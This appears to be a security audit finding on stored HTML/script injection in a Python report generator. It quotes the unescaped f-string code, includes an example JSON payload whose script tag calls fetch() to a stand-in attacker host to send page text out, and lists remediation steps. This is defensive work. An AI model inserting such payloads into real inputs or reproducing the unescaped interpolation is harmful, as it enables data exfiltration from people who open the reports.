T09 · Insecure Skill Coding Practices
Error
- Location
- scripts/generate.py:527
- Finding
- Stored HTML and JavaScript Injection in Generated Reports<![CDATA[ ## Vulnerability Details **File Location**: `scripts/generate.py`, lines 527-531; additional unsafe interpolation at lines 556 and 656 **Vulnerability Type**: Stored HTML injection and cross-site scripting **Risk Level**: High ### Vulnerable Code ```python for section in application: content = section["content"].replace("\n", "<br>") app_html += f""" <div class="app-section"> <h3>{section['title']}</h3> <div class="app-content">{content}</div> </div>""" ``` Additional direct interpolation occurs in the document title and report header: ```python <title>专精特新申报材料 — {enterprise.get('name', '企业')} ({tier['name']})</title> ``` ```python <div class="subtitle">{enterprise.get('name', '企业名称')} | 申报梯度:{tier['name']}</div> ``` ### Technical Analysis Enterprise data originates from attacker-controllable JSON input and is incorporated into application sections. The report generator converts newline characters to `<br>` elements but does not HTML-escape the content before inserting it into the generated document. Consequently, HTML elements, event handlers, and script elements supplied through fields such as `intro`, `name`, `market_position`, `core_tech`, or other application values are written directly into the report. For example, a malicious input can contain: ```json { "tier": "t2", "name": "Example Company", "intro": "<script>fetch('https://attacker.invalid/collect?data='+encodeURIComponent(document.body.innerText))</script>" } ``` When the resulting report is opened in a browser, the embedded script is interpreted as active content rather than displayed as enterprise data. This is a stored injection because the payload is persisted in the generated HTML file. ### Attack Path 1. An attacker supplies or modifies the JSON input consumed by `generate.py`. 2. The malicious markup is accepted without schema validation or content sanitization. 3. `generate_application_text()` incorporates the attacker-controlled val ...[truncated 1274 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Escape every untrusted value before placing it into HTML: ```python import html safe_content = html.escape(section["content"], quote=True).replace("\n", "<br>") safe_title = html.escape(str(section["title"]), quote=True) ``` 2. Escape enterprise names and all other interpolated fields according to their output context: ```python safe_name = html.escape(str(enterprise.get("name", "Enterprise")), quote=True) ``` 3. Use a template engine with automatic escaping enabled rather than constructing HTML through f-strings. 4. Keep plain-text application data separate from trusted report markup. Do not allow raw HTML unless explicitly required and sanitized with a maintained allowlist-based sanitizer. 5. Add a restrictive Content Security Policy, preferably prohibiting inline scripts: ```html <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'; form-action 'none'"> ``` 6. Validate input with a strict schema, including expected types, maximum lengths, and permitted formats. 7. Add regression tests covering payloads in every enterprise field, including `<script>`, image event handlers, SVG handlers, malformed tags, and quotation-mark boundary attacks. ]]>
